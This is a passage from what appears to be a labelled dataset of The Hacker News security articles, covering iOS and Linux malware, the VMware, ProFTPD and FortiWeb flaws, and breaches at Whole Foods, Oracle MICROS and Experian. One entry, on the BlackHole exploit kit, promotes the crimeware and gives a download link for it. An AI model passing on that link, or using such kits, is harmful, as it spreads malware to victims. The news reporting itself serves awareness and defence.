To keep yourself safe, you are advised not to open any unsolicited file that has automatically downloaded onto your computer, especially image files with unusual extensions like SVG, JS, or HTA.

The bottom line: Don't be curious to look at image sent by someone, at least for the time being.

",Malware
Warning — Hackers can Silently Install Malware to Non-Jailbroken iOS Devices,https://thehackernews.com/2016/03/how-to-hack-iphone.html,"Hard time for mobile phone users!

Just recently, two severe vulnerabilities in Qualcomm Snapdragon chip and Stagefright were spotted on the Android platform, affecting more than a Billion and Millions of devices respectively.

And now:

Hackers have discovered a new way to install malicious apps onto your iPhone without your interaction.

Researchers at Palo Alto Networks have uncovered a new strain of malware that can infect Non-Jailbroken (factory-configured) iPhones and iPads without the owner's knowledge or interaction, leaving hundreds of millions of Apple iOS devices at risk.

Dubbed AceDeceiver, the iPhone malware installs itself on iOS devices without enterprise certificates and exploits designing flaws in Apple's digital rights management (DRM) protection mechanism called FairPlay.

What's more concerning about this malware:

Unlike most iOS malware, AceDeceiver works on factory-configured (non-jailbroken) iOS devices as well.

FairPlay is an Apple's software program that prevents people from stealing purchased apps from its official App Store.
However, with the help of AceDeceiver's ""FairPlay Man-in-the-Middle (MITM) technique,"" hackers can install malicious apps on your iPhone even without your knowledge, simultaneously bypassing Apple's other security defenses.

According to researchers, the FairPlay Man-In-The-Middle (MITM) technique has been in use since 2013, as a way to distribute pirated iOS apps.
""In the FairPlay MITM attack, attackers purchase an app from App Store then intercept and save the authorization code,"" Claud Xiao from Palo Alto Networks explains in a blog post. ""They then developed PC software that simulates the iTunes client behaviors, and tricks iOS devices to believe the app was purchased by the victim.""
However, this is the first time the FairPlay technique has been used to spread malware on iOS devices, as the creator of the pirated software can install potentially malicious apps without your knowledge.

Currently, the malicious behaviors related to AceDeceiver has been spotted in China, but researchers warn that the malware could be easily configured to target iPhone users of other geographic regions as well.

For more details, you can head on to Palo Alto Networks' blog post about the AceDeceiver threat.

",Malware
EvilGnome: A New Backdoor Implant Spies On Linux Desktop Users,https://thehackernews.com/2019/07/linux-gnome-spyware.html,"Security researchers have discovered a rare piece of Linux spyware that's currently fully undetected across all major antivirus security software products, and includes rarely seen functionalities with regards to most Linux malware, The Hacker News learned.

It's a known fact that there are a very few strains of Linux malware exist in the wild as compared to Windows viruses because of its core architecture and also due to its low market share, and also many of them don't even have a wide range of functionalities.

In recent years, even after the disclosure of severe critical vulnerabilities in various flavors of Linux operating systems and software, cybercriminals failed to leverage most of them in their attacks.

Instead, a large number of malware targeting Linux ecosystem is primarily focused on cryptocurrency mining attacks for financial gain and creating DDoS botnets by hijacking vulnerable servers.

However, researchers at security firm Intezer Labs recently discovered a new Linux backdoor implant that appears to be under development and testing phase but already includes several malicious modules to spy on Linux desktop users.

EvilGnome: New Linux Spyware

Dubbed EvilGnome, the malware has been designed to take desktop screenshots, steal files, capture audio recording from the user's microphone as well as download and execute further second-stage malicious modules.

According to a new report Intezer Labs shared with The Hacker News prior to its release, the sample of EvilGnome it discovered on VirusTotal also contains an unfinished keylogger functionality, which indicates that it was uploaded online mistakenly by its developer.

EvilGnome malware masquerades itself as a legit GNOME extension, a program that lets Linux users extend the functionality of their desktops.

According to the researchers, the implant is delivered in the form of a self-extracting archive shell script created with 'makeself,' a small shell script that generates a self-extractable compressed tar archive from a directory.

The Linux implant also gains persistence on a targeted system using crontab, similar to windows task scheduler, and sends stolen user data to a remote attacker-controlled server.

""Persistence is achieved by registering gnome-shell-ext.sh to run every minute in crontab. Finally, the script executes gnome-shell-ext.sh, which in turn launches the main executable gnome-shell-ext,"" the researchers said.

EvilGnome's Spyware Modules

The Spy Agent of EvilGnome contains five malicious modules called ""Shooters,"" as explained below:

ShooterSound — this module uses PulseAudio to capture audio from the user's microphone and uploads the data to the operator's command-and-control server.
ShooterImage — this module uses the Cairo open source library to captures screenshots and uploads them to the C&C server. It does so by opening a connection to the XOrg Display Server, which is the backend to the Gnome desktop.
ShooterFile — this module uses a filter list to scan the file system for newly created files and uploads them to the C&C server.
ShooterPing — the module receives new commands from the C&C server, like download and execute new files, set new filters for file scanning, download and set new runtime configuration, exfiltrate stored output to the C&C server, and stop any shooter module from running.
ShooterKey — this module is unimplemented and unused, which most likely is an unfinished keylogging module.

Notably, all the above modules encrypt their output data and decrypt commands received from the C&C server with RC5 key ""sdg62_AS.sa$die3,"" using a modified version of a Russian open source library.

Possible Connection b/w EvilGnome and Gamaredon Hacking Group

Furthermore, the researchers also found connections between EvilGnome and Gamaredon Group, an alleged Russian threat group that has been active since at least 2013 and has targeted individuals working with the Ukrainian government.

Here below, I have briefed some of the similarities between EvilGnome and Gamaredon Group:

EvilGnome uses a hosting provider that has been used by Gamaredon Group for years and continues to be used by it.
EvilGnome also found to be operating on an IP address that was controlled by the Gamaredon group two months ago.
EvilGnome attackers are also using '.space' TTLD for their domains, just as the Gamaredon Group.
EvilGnome employs techniques and modules—like the use of SFX, persistence with task scheduler, and the deployment of information-stealing tools—that remind of Gamaredon Group's Windows tools.

How to Detect EvilGnome Malware?

To check if your Linux system is infected with the EvilGnome spyware, you can look for the ""gnome-shell-ext"" executable in the ""~/.cache/gnome-software/gnome-shell-extensions"" directory.

""We believe this is a premature test version. We anticipate newer versions to be discovered and reviewed in the future, which could potentially shed more light into the group's operations,"" researchers conclude.

Since security and antivirus products are currently failing to detect the EvilGnome malware, researchers recommend concerned Linux administrators to block the Command & Control IP addresses listed in the IOC section of Intezer's blog post.

",Malware
NSA Warns Russian Hacker Exploiting VMware Bug to Breach Corporate Networks,https://thehackernews.com/2020/12/nsa-warns-russian-hacker-exploiting.html,"The US National Security Agency (NSA) on Monday issued an advisory warning that Russian threat actors are leveraging recently disclosed VMware vulnerability to install malware on corporate systems and access protected data.
Specifics regarding the identities of the threat actor exploiting the VMware flaw or when these attacks started were not disclosed.
The development comes two weeks after the virtualization software company publicly disclosed the flaw—affecting VMware Workspace One Access, Access Connector, Identity Manager, and Identity Manager Connector products for Windows and Linux—without releasing a patch and three days after releasing a software update to fix it.
In late November, VMware pushed temporary workarounds to address the issue, stating permanent patches for the flaw were ""forthcoming."" But it wasn't until December 3rd the escalation-of-privileges bug was entirely resolved.
That same day, the US Cybersecurity and Infrastructure Security Agency (CISA) issued a brief bulletin encouraging administrators to review and apply and patch as soon as possible.
Tracked as CVE-2020-4006, the command injection vulnerability was originally given a CVSS score of 9.1 out of a maximum of 10 but was revised last week to 7.2 to reflect the fact that a malicious actor must possess valid credentials for the configurator admin account in order to attempt exploitation.
""This account is internal to the impacted products and a password is set at the time of deployment,"" VMware said in its advisory. ""A malicious actor must possess this password to attempt to exploit CVE-2020-4006.""
Although VMware didn't explicitly mention the bug was under active exploitation in the wild, according to the NSA, adversaries are now leveraging the flaw to launch attacks to pilfer protected data and abuse shared authentication systems.
""The exploitation via command injection led to installation of a web shell and follow-on malicious activity where credentials in the form of SAML authentication assertions were generated and sent to Microsoft Active Directory Federation Services, which in turn granted the actors access to protected data,"" the agency said.
SAML or Security Assertion Markup Language is an open standard and an XML-based markup for exchanging authentication and authorization data between identity providers and service providers to facilitate single sign-on (SSO).
Besides urging organizations to update affected systems to the latest version, the agency also recommended securing the management interface with a strong, unique password.
Furthermore, the NSA advised enterprises to regularly monitor authentication logs for anomalous authentications as well as scan their server logs for the presence of ""exit statements"" that can suggest possible exploitation activity.

",Vulnerability
New Windows Trojan Spreads MIRAI Malware To Hack More IoT Devices,https://thehackernews.com/2017/02/mirai-iot-botnet-windows.html,"MIRAI – possibly the biggest IoT-based malware threat that emerged last year, which caused vast internet outage in October last year by launching massive distributed denial-of-service (DDoS) attacks against the popular DNS provider Dyn.

Now, the infamous malware has updated itself to boost its distribution efforts.

Researchers from Russian cyber-security firm Dr.Web have now uncovered a Windows Trojan designed to built with the sole purpose of helping hackers spread Mirai to even more devices.

Mirai is a malicious software program for Linux-based internet-of-things (IoT) devices which scan for insecure IoT devices, enslaves them into a botnet network, and then used them to launch DDoS attacks, and spreads over Telnet by using factory device credentials.

It all started early October last year when a hacker publicly released the source code of Mirai.

Dubbed Trojan.Mirai.1, the new Trojan targets Windows computers and scans the user's network for compromisable Linux-based connected devices.

Once installed on a Windows computer, the Trojan connects to a command-and-control (C&C) server from which it downloads a configuration file containing a range of IP addresses to attempt authentication over several ports such as 22 (SSH) and 23 (Telnet), 135, 445, 1433, 3306 and 3389.

Successful authentication lets malware runs certain commands specified in the configuration file, depending on the type of compromised system.

In the case of Linux systems accessed via Telnet protocol, the Trojan downloads a binary file on the compromised device, which subsequently downloads and launches Linux.Mirai.
""Trojan.Mirai.1's Scanner can check several TCP ports simultaneously. If the Trojan successfully connects to the attacked node via any of the available protocols, it executes the indicated sequence of commands,"" claimed the company in an advisory published this week.
Once compromised, the Trojan can spread itself to other Windows devices, helping hackers hijack even more devices.

Besides this, researchers noted that the malware could also identify and compromise database services running on various ports, including MySQL and Microsoft SQL to create a new admin ""phpminds"" with the password a ""phpgodwith,"" allowing attackers to steal the database.

At this time it's not known who created this, but the attack design demonstrates that your IoT devices that are not directly accessible from the internet can also get hacked to join the Mirai botnet army.

",Cyber_Attack
Amazon's Whole Foods Market Suffers Credit Card Breach In Some Stores,https://thehackernews.com/2017/09/amazon-whole-foods.html,"Another day, another data breach. This time Amazon-owned grocery chain has fallen victim to a credit card security breach.

Whole Foods Market—acquired by Amazon for $13.7 billion in late August—disclosed Thursday that hackers were able to gain unauthorized access to credit card information for its customers who made purchases at certain venues like taprooms and full table-service restaurants located within some stores.

Whole Foods Market has around 500 stores in the United States, United Kingdom, and Canada.

The company did not disclose details about the targeted locations or the total number of customers affected by the breach, but it did mention that hackers targeted some of its point-of-sale (POS) terminals in an attempt to steal customer data, including credit details.

The company also said people who only shopped for groceries at Whole Foods were not affected, neither the hackers were able to access Amazon transactions in the security breach.

Instead, only certain venues such as taprooms and table-service restaurants located within its stores—which use a separate POS system—were impacted.

Whole Foods Market has hired a cybersecurity firm to help it investigate the credit card breach and contacted law enforcement authorities of this incident.
""When Whole Foods Market learned of this, the company launched an investigation, obtained the help of a leading cybersecurity forensics firm, contacted law enforcement, and is taking appropriate measures to address the issue,"" Whole Foods said in a statement on its website.
The company is also encouraging its customers to closely monitor their credit card statements and ""report any unauthorized charges to the issuing bank.""

According to Whole Foods Market, none of the affected systems being investigated are, in any way, connected to Amazon.com systems.

Whole Foods Market has become the latest of the victim of the high-profile cyber attack. Earlier this month, Global tax and auditing firm Deloitte suffered a cyber attack that resulted in the theft of private emails and documents of some of its clients.

Also last week, the U.S. Securities and Exchange Commission (SEC) also disclosed that unknown hackers managed to hack its financial document filing system and illegally profited from the stolen information.

Last month, credit rating agency Equifax publicly disclosed a breach of its systems that exposed personal details, including names, addresses, birthdays and Social Security numbers, of potentially 143 million US customers.

",Data_Breaches
A New 'Arbitrary File Copy' Flaw Affects ProFTPD Powered FTP Servers,https://thehackernews.com/2019/07/linux-ftp-server-security.html,"A German security researcher has publicly disclosed details of a serious vulnerability in one of the most popular FTP server applications, which is currently being used by more than one million servers worldwide.

The vulnerable software in question is ProFTPD, an open source FTP server used by a large number of popular businesses and websites including SourceForge, Samba and Slackware, and comes pre-installed with many Linux and Unix distributions, like Debian.

Discovered by Tobias Mädel, the vulnerability resides in the mod_copy module of the ProFTPD application, a component that allows users to copy files/directories from one place to another on a server without having to transfer the data to the client and back.

According to Mädel, an incorrect access control issue in the mod_copy module could be exploited by an authenticated user to unauthorizedly copy any file on a specific location of the vulnerable FTP server where the user is otherwise not allowed to write a file.

In rare circumstances, the flaw may also lead to remote code execution or information disclosure attacks.

John Simpson, a security researcher at Trend Micro, told The Hacker News that to successfully achieve remote code execution on a targeted server, an attacker needs to copy a malicious PHP file to a location where it can be executed.

Therefore, it's important to note that not every FTP server running vulnerable ProFTPD can be hijacked remotely, since the attacker requires log-in to the respective targeted server, or the server should have anonymous access enabled.
The vulnerability, assigned as CVE-2019-12815, affects all versions of ProFTPd, including the latest 1.3.6 version which was released in 2017.

Since the mod_copy module comes enabled by default in most operating systems using ProFTPD, the flaw could potentially affect a large number of servers.

According to an advisory, the newly discovered issue is related to a 4-year-old similar vulnerability (CVE-2015-3306) in the mod_copy module that allows remote attackers to read and write to arbitrary files via the site CPFR and site CPTO commands.

Mädel reported the vulnerability to ProFTPd project maintainers in September last year, but the team did not take any action to address the issue for more than 9 months.

So, the researcher contacted the Debian Security Team last month, after which the ProFTPD team finally created a patch and just last week backported it to ProFTPD 1.3.6 without releasing a new version of its FTP server.

As a workaround, server administrators can also disable the mod_copy module in the ProFTPd configuration file in order to protect themselves from being a victim of any attack related to this flaw.

",Vulnerability
Data Breach — Oracle's Micros Payment Systems Hacked,https://thehackernews.com/2016/08/oracle-payment-hack.html,"The risks associated with data breaches continue to grow, impacting a variety of industries, tech firms, and social networking platforms. In the past few months, over 1 Billion credentials were dumped online as a result of mega breaches in popular social networks.

Now, Oracle is the latest in the list.

Oracle has confirmed that its MICROS division – which is one of the world's top three point-of-sale (POS) services the company acquired in 2014 – has suffered a security breach.

Hackers had infected hundreds of computers at Oracle's point-of-sale division, infiltrated the support portal used by customers, and potentially accessed sales registers all over the world.

The software giant came to know about the data breach after its staff discovered malicious code on the MICROS customer support portal and certain legacy MICROS systems. Hackers likely installed malware on the troubleshooting portal in order to capture customers' credentials as they logged in.

These usernames and passwords can then be used to access their accounts and remotely control their MICROS point-of-sales terminals.

In a brief letter sent to MICROS customers, Oracle told businesses to change their MICROS account passwords for the MICROS online support site – particularly passwords that are used by MICROS staff to control on-site payment terminals remotely.
""Oracle Security has detected and addressed malicious code in certain legacy MICROS systems,"" said the company. ""Oracle's Corporate network and other cloud and service offerings were not impacted by this code.""
""Payment card data is encrypted both at rest and in transit in the MICROS hosted environment… Consistent with standard security remediation protocols, Oracle [requires] MICROS customers to change the passwords for all MICROS accounts.""
Citing unknown sources, security news site KrebsOnSecurity, reported that the attack possibly came from a Russian crime gang, dubbed Carbanak Gang, that has been accused of stealing more than $1 Billion from banks and retailer stores in past hacks.

The scope of the data breach is still unknown, but anonymous sources familiar with the breach have told Krebs that the hack may have affected up to 700 systems.

Since customers payment data is encrypted both at rest and in transit, Oracle said that this information is not at risk.

Oracle acquired MICROS in 2014 in a $5 Billion acquisition deal. Currently, MICROS devices are deployed at over 330,000 point-of-sale terminals (or cash registers) at food and beverage outlets, retail stores, and hotels across 180 countries.

The software giant is still investigating the security breach at its payment terminal division.

Over the past few years, the security breach has hit POS terminals – or ""cash registers"" – operated by a large number of retailers, food chains, hotels, and other types of merchants. Two of the best-known victims to be hit by POS malware are Target and Home Depot.

POS terminals have emerged as the favorite target for cybercriminal gangs because when it comes to the cheap and easy way to siphon the vast number of payment cards, breaching a single retailer's internal network could allow criminals to collect Millions of valid payment card numbers in a relatively short amount of time.

",Data_Breaches
Unpatched Remote Hacking Flaw Disclosed in Fortinet's FortiWeb WAF,https://thehackernews.com/2021/08/unpatched-remote-hacking-zero-day-flaw.html,"Details have emerged about a new unpatched security vulnerability in Fortinet's web application firewall (WAF) appliances that could be abused by a remote, authenticated attacker to execute malicious commands on the system.
""An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page,"" cybersecurity firm Rapid7 said in an advisory published Tuesday. ""This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.""
Rapid7 said it discovered and reported the issue in June 2021. Fortinet is expected to release a patch at the end of August with version Fortiweb 6.4.1.
The command injection flaw is yet to be assigned a CVE identifier, but it has a severity rating of 8.7 on the CVSS scoring system. Successful exploitation of the vulnerability can allow authenticated attackers to execute arbitrary commands as the root user on the underlying system via the SAML server configuration page.
""An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges,"" Rapid7's Tod Beardsley said. ""They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ.""
Rapid7 also warns that while authentication is a prerequisite for achieving arbitrary command execution, the exploit could be chained with an authentication bypass flaw, such as CVE-2020-29015. In the interim, users are advised to block access to the FortiWeb device's management interface from untrusted networks, including taking steps to prevent direct exposure to the internet.
Although there is no evidence that the new security issue has been exploited in the wild, it's worth noting that unpatched Fortinet servers have been a lucrative target for financially motivated and state-sponsored threat actors alike.
Earlier this April, the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) warned of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 to compromise systems belonging to government and commercial entities.
In the same month, Russian cybersecurity company Kaspersky revealed that threat actors exploited the CVE-2018-13379 vulnerability in FortiGate VPN servers to gain access to enterprise networks in European countries to deploy the Cring ransomware.
Update: Fortinet shared the following statement with The Hacker News:
“The security of our customers is always our first priority. Fortinet recognizes the important role of independent security researchers who work closely with vendors to protect the cybersecurity ecosystem in alignment with their responsible disclosure policies. In addition to directly communicating with researchers, our disclosure policy is clearly outlined on the Fortinet PSIRT Policy page, which includes asking incident submitters to maintain strict confidentiality until complete resolutions are available for customers. As such, we had expected that Rapid7 hold any findings prior to the end of our 90-day Responsible disclosure window. We regret that in this instance, individual research was fully disclosed without adequate notification prior to the 90-day window. We are working to deliver immediate notification of a workaround to customers and a patch released by the end of the week.”

",Vulnerability
Experian South Africa Suffers Data Breach Affecting Millions; Attacker Identified,https://thehackernews.com/2020/08/experian-data-breach-attack.html,"The South African arm of one of the world's largest credit check companies Experian yesterday announced a data breach incident that exposed personal information of millions of its customers.

While Experian itself didn't mention the number of affect customers, in a report, the South African Banking Risk Information Centre—an anti-fraud and banking non-profit organization who worked with Experian to investigate the breach—disclosed that the attacker had reportedly stolen data of 24 million South Africans and 793,749 business entities.

Notably, according to the company, the suspected attacker behind this breach had already been identified, and the stolen data of its customers had successfully been deleted from his/her computing devices.

""We have identified the suspect and confirm that Experian South Africa was successful in obtaining and executing an Anton Piller order which resulted in the individual's hardware being impounded and the misappropriated data being secured and deleted.""

Experian South Africa has already reported the breach to law enforcement and the appropriate regulatory authorities.

The company claims there is no evidence indicating whether the stolen data includes consumers' credit or financial information or used for fraudulent purposes before authorities had it deleted.

""Our investigations also show that the suspect had intended to use the data to create marketing leads to offer insurance and credit-related services.""

""The compromise of personal information can create opportunities for criminals to impersonate you but does not guarantee access to your banking profile or accounts. However, criminals can use this information to trick you into disclosing your confidential banking details,"" says SABRIC CEO, Nischal Mewalall.


Besides releasing this information, SAFPS also recommended that credit reporting agency customers should immediately apply for a free Protective Registration listing with Southern Africa Fraud Prevention Service that has been designed to alert users when their identity is compromised.

You can also regularly check your credit report for free here.
",Cyber_Attack
Steam Browser Protocol Vulnerability can allow hackers to hijack PC,https://thehackernews.com/2012/10/steam-browser-protocol-vulnerability.html,"Italian security Researchers Luigi Auriemma and Donato Ferrante from 'ReVuln' reported the flaw in Steam Browser Protocol. Stream the popular online distribution platform with 54 million users.


The flaw allow the attacker to write arbitrary text to file and direct victims to external payloads and even the computer can take over. The popular gaming platform uses the steam:// URL protocol in order to run, install and uninstall games, backup files, connect to servers and reach various sections dedicated to customers.

It is possible to Safari, Maxthon and Firefox and other browsers based on the Mozilla engine, this quietly Steam URLs to invoke.

In report they said that browsers including Firefox and software clients including RealPlayer would execute the external URL handler without warnings and were ""a perfect vector to perform silent Steam browser protocol calls"".

The researchers demonstrated how users on the massive Source game engine, which hosts games like Half-Life and CounterStrike, could be attacked. They used four commands to write custom code to file, including a bat file that executes commands when users started up Steam. They were also able to execute remote malicious code via the Unreal engine which was affected by many integer overflow vulnerabilities.

""In one proof of concept involving the Steam browser, attackers used malicious YouTube links within Steam user profiles to bait users. Users who viewed the videos and wished to leave comments would be phished with malicious steam:// URLs that pointed to external sites."" explained by Darren Pauli.




Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
Disabling 'Find My iPhone' on iOS 7 without any Password,https://thehackernews.com/2014/04/disabling-find-my-iphone-on-ios-7.html,"iOS devices have a feature called 'Find My iPhone', allows device owner to locate their stolen devices using linked Apple ID with iCloud Account.

Unfortunately, a security flaw in iOS make it possible to turn off Find My iPhone without a password and enabled thieves to bypass the protection which makes the iPhone untraceable if lost or stolen.

To Set-Up 'Find My iPhone' feature, users need to link their Apple ID with it and this will not only helps in locating the device but also gives permission to its user to remove all the data, drive direction to the lost device, lock the device by a passcode and displays a custom message on the locked screen.

KILL 'Find My iPhone' WITHOUT APPLE PASSWORD
Normally, disabling Find My iPhone requires Apple ID password, but according to the vulnerability reported by Miguel Alvarado, a thief can bypass all of this security feature without knowing your Apple account's password.

In a video demonstration on iOS 7, he explained that just by tapping the ""Delete Account"" in the iCloud settings panel and switch the ""Find My iPhone"" to off mode simultaneously, one can easily remove the iCloud account without any password authentication.
But doing so is not that much easy as it actually looks, a novice has to perform this a number of times to get this done.

After Doing so, just connect the hacked iPhone with your computer and use iTunes software to restore the smartphone's Data.

Similar flaw was disclosed in February this year allows anyone to disable 'Find My iPhone' on iOS 7.0.4 devices.

HOW TO PROTECT YOUR iPHONE
The the vulnerability is totally irrelevant if you have a passcode on your iPhone. Apple will release a fix as soon as possible, until then users are advised to keep a secure passcode with a very short timer, that prevents anyone from getting into the iCloud settings at all.

",Vulnerability
BlackHole Exploit Kit 1.0.2 - Download !,https://thehackernews.com/2011/05/blackhole-exploit-kit-download.html,"BlackHole Exploit Kit 1.0.2 - Download !



First Public Release of BlackHole Exploit Kit. BlackHole exploit kit is yet another in an ongoing wave of attack toolkits flooding the underground market. The kit first appeared on the crimeware market in September of 2010 and ever since then has quickly been gaining market share over its vast number of competitors. In fact, many antivirus vendors now claim that this is one of the most prevalent exploit kits used in the wild. Even Malware Domain List is showing quite a few domains infected with the BlackHole exploit kit.


Black Market Cost :
Users can purchase the annual license for $1500, semi-annual license for $1000, or just a quarterly license for $700. The license includes free software updates for the duration of the contract. For those malicious users with a commitment phobia the makers of the kit offer yet another solution. You can rent the kit (on the author's servers) for $50 for 24 hours, $200 for 1 week, $300 for 2 weeks, $400 for 3 week, and $500 for 4 weeks. A domain name comes included with the rental agreement, but should you desire to change it you need to pay another $35. But Now its FREE HERE !


Feature :
One highly touted feature of BlackHole toolkit is its TDS or Traffic Direction Script. While this is not an entirely new concept in attack toolkits the TDS included her is much more sophisticated and powerful than those in other kits. A TDS is basically an engine that allows redirection of traffic through a set of rules. For example, a user can set up a set of rules that redirect flow to different landing pages on their domain. These rules could be based on operating system, browser, country of origin, exploit, files, etc. One rule might redirect traffic to page A for all users that are running Windows OS from XP to Vista and running IE 8, while another rule can redirect Windows 7 users to page B. Those were just simple example rules. More advanced rules could set expiration dates for certain payloads and replace them with new ones when the date is reached. The TDS included in BlackHole even goes the extra step and allows you to create traffic flows based on these rules and provides management interface for the flows. A savvy malicious user with a lot of experience could easily utilize this rule engine to increase their infection numbers.From a web application standpoint BlackHole is built just like other kits, consisting of a PHP and MySQL backend. Since the majority of web servers run on the LAMP stack this enabled for very easy application deployment. The user interface for this kit is a cut about the rest, and it definitely looks nicer than almost any other attack kit we've analyzed. It resembles some of the best legitimate web apps we see in the world of commercial software.

Download Link : https://www.multiupload.com/ZTZPEA9L5Y


Other Exploit Kits Public Release :

1.) Source code of ZeuS Botnet Version: 2.0.8.9
2.) Crimepack 3.1.3 Exploit kit
3.) 26 more Underground Hacking Exploit Kits
4.) Unknown Exploit Kit (Crimeware) leaked, Download Now


",Malware
Hackers Install Free SSL Certs from Let's Encrypt On Malicious Web Sites,https://thehackernews.com/2016/01/free-ssl-certificate-malware.html,"Who else didn't see this coming?

It was so obvious as I stressed earlier that the Let's Encrypt free HTTPS certificates would not just help legitimate website operators to encrypt its users' traffic, but also help criminals to bother innocent users with malware through secure sites.

Let's Encrypt allows anyone to obtain free SSL/TLS (Secure Socket Layer/Transport Layer Security) certificates for their web servers that encrypt all the Internet traffic passed between a server and users.

Let's Encrypt is recognized by all major browsers, including Google's Chrome, Mozilla's Firefox and Microsoft's Internet Explorer.

The organization started offering Free HTTPS certs to everyone from last month, and it is very easy for anyone to set up an HTTPS website in a few simple steps (How to Install Free SSL Cert).

However, the most bothersome part is that Let's Encrypt free SSL certs are not only used by website owners to secure its users connection but also abused by cyber criminals to spread malware onto computers.

How Criminals are Abusing Let's Encrypt Certificates?

Researchers from Trend Micro spotted a Malvertising Campaign on Dec. 21 that was installing banking malware on computers and using free SSL certificates issued by the Let's Encrypt to hide its malicious traffic.

Malvertising is a technique of using Web ads to spread malware. By stealthy inserting malicious advertisements on legitimate websites, malware authors can redirect users to malicious sites to deliver malware payload with the help of an exploit kit.

For a long time, malware authors purchased stolen SSL certificates from the underground market and deployed them in their malvertising campaigns. Fortunately, these certificates are eventually caught up and invalidate by their legitimate owners.

However, with the launch of Let's Encrypt free SSL certificates, malware authors don't even have to pay for SSL certificates anymore, and can request one for free instead.

Criminals Delivering Vawtrack Banking Trojan

The malvertising campaign discovered by Trend Micro researchers lasted until December 31 and affected users located mainly in Japan.

People in Japan were delivered malicious ads that redirect them to a malicious website serving up malware over encrypted HTTPS using a Let's Encrypt-issued certificate.

The malicious website used the Angler Exploit Kit in order to infect victims' computers with the nasty Vawtrack banking trojan, which is specially designed to raid their online bank accounts.

Before installing the Let's Encrypt certificate, the attackers behind this campaign compromised an unnamed legitimate web server and set up their own subdomain for the server's website, said Joseph Chen, Fraud Researcher at Trend Micro.

The cyber crooks then installed the Let's Encrypt cert on the compromised server and hosted a malicious advertisement (also contained anti-antivirus code) from that subdomain.

The Actual Cause behind the Abuse of Let's Encrypt Certs
The issue is Let's Encrypt only checks the main domain against the Google's Safe Browsing API to see if a domain for which an SSL certificate is requested has been flagged for malware or phishing.

However, Let's Encrypt never check for shadow domains like in this case in which authors of the malvertising campaign easily requested and got approved for a Let's Encrypt certificate.

Moreover, Let's Encrypt has a policy not to revoke certificates. The organization explained in October that certification authorities are not equipped to police content and certificates issued by them 'say nothing else about a site's content or who runs it'.
""Domain Validation (DV) certificates do not include any information about a website's reputation, real-world identity, or safety.""
However Trend Micro disagrees with this approach, saying, certificate authorities (CAs) ""should be willing to cancel certificates issued to illicit parties that have been abused by various threat actors.""

In other words, there should be some mechanisms to prevent unauthorized certificates registrations for domains as well as their subdomains.

How can You Prevent Yourself From Such Attacks?

Trend Micro has reached out to both the Let's Encrypt project, and the legitimate domain's owner to notify them about the malvertising campaign.

And Here's your take:

Users should be aware that a 'secure' website is not always or necessarily a safe website, and the best defense against exploit kits is still an easy go, i.e.:

Always keep your software up-to-date to minimize the number of vulnerabilities that may be exploited by cyber criminals.

For online advertisement brokers, an approach would be to implement internal controls to stop malicious advertisements.

",Malware
"SpyEye Trojan stole $3.2 million from US victims,Android users will be next target !",https://thehackernews.com/2011/09/spyeye-trojan-stole-32-million-from-us.html,"SpyEye Trojan stole $3.2 million from US victims,Android users will be next target !

A Russian cybergang headed by a mysterious ringleader called 'Soldier' were able to steal $3.2 million (£2 million) from US citizens earlier this year using the SpyEye-Zeus data-stealing Trojan, security company Trend Micro has reported and Trusteer reports that an Android variant of Spitmo (SpyEye for mobile) has been discovered. The methodology sounds familiar for those familiar with ZeuS Mitmo and SpyEye Spitmo: infected computers inject a message into targeted netbanks prompting their customers to install software on their phones. Once Spitmo is installed, the SpyEye attacker is able to monitor incoming SMS and to steal MTAN authentication messages.

""His botnet was able to compromise approximately 25,394 systems between April 19, 2011 and June 29, 2011. And while nearly all of the victims were located in the US, there were a handful of victims spread across another 90 countries,"" it said in a blog post.

Over a six month period from January 2011, Trend found that the Soldier gang had been able to compromise a cross-section of US business, including banks, airports, research institutions and even the US military and Government, as well as ordinary citizens.A total of 25,394 systems were infected between 19 April and 29 June alone, 57 percent of which were Windows XP systems with even Windows 7 registering 4,500 victim systems.

""Compromise on such a mass scale is not that unusual for criminals using toolkits like SpyEye, but the amounts stolen and the number of large organizations potentially impacted is cause for serious concern.""
Victims included:

US Government (Local, State Federal)
US Military
Educational & Research Institutions
Banks
Airports
Other Companies (Automobile, Media, Technology)
C&C Infrastructure
Banking Trojans such as SpyEye and the older Zeus (possibly now merged with SpyEye) have been one of the malware stories of the last year, and have featured in a number of high-profile online crime cases.

Zeus for Android purports to be a version of Trusteer Rapport security software. This social engineering trick is used in an attempt to convince the user that the application they are installing is legitimate.SpyEye for Android, now detected by Sophos products as Andr/Spitmo-A, uses a slightly different but similar social engineering technique.

Spitmo was initially detected by F-Secure in April when a variant was used in an attack against a European bank - the Trojan added question fields to the bank's website, asking customers to enter their mobile phone number and the device's IMEI.Sean Sullivan, security advisor at F-Secure, said: ""Spitmo.A contains the malicious executable (sms.exe) and another installer, which contains an executable named SmsControl.exe. SmsControl.exe will just display the message 'Die Seriennummer des Zertifikats: Ü88689-1299F' to fool the user into thinking that the installer was indeed a certificate.""The name SmsControl.exe is quite a coincidence, as a variant of ZeusMitmo used the same name for the file containing the Trojan. Faking the Trojan to be a certificate is also a trick that ZeusMitmo has used. However, the code itself looks completely different than in ZeusMitmo.""

",Malware
Researchers Discover Raindrop — 4th Malware Linked to the SolarWinds Attack,https://thehackernews.com/2021/01/researchers-discover-raindrop-4th.html,"Cybersecurity researchers have unearthed a fourth new malware strain—designed to spread the malware onto other computers in victims' networks—which was deployed as part of the SolarWinds supply chain attack disclosed late last year.
Dubbed ""Raindrop"" by Broadcom-owned Symantec, the malware joins the likes of other malicious implants such as Sunspot, Sunburst (or Solorigate), and Teardrop that were stealthily delivered to enterprise networks.
The latest finding comes amid a continued probe into the breach, suspected to be of Russian origin, that has claimed a number of U.S. government agencies and private sector companies.
""The discovery of Raindrop is a significant step in our investigation of the SolarWinds attacks as it provides further insights into post-compromise activity at organizations of interest to the attackers,"" Symantec researchers said.
